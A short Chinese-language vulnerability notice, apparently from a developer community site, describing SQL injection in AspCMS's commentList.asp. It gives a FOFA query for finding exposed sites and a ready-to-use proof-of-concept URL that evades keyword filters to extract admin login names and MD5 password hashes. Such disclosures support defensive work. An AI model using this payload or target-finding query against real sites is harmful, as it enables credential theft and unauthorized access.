AspCMS系统commentList.asp存在SQL注入
·
问题描述
AspCMS commentList.asp 存在SQL注入，攻击者可以获取管理员md5的密码，进行解密后登录获取敏感数据。
技术细节
AspCMS的commentList.asp文件存在SQL注入，攻击者可通过构造恶意请求，获取管理员账户的MD5加密密码。获取密码后，攻击者可进行解密并登录系统，进一步访问敏感数据。该问题的利用方式涉及在URL中插入特定的SQL语句，从而绕过系统安全机制，直接查询数据库中的用户信息。建议及时修复该问题，防止数据泄露。
fofa
app="ASPCMS"
poc
/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user
中国智能体开发者社区，聚焦智能体与大模型开发，提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动，促进经验交流与协作，助力开发者快速构建创新智能应用。
更多推荐
1
0- 0
已为社区贡献2条内容
所有评论(0)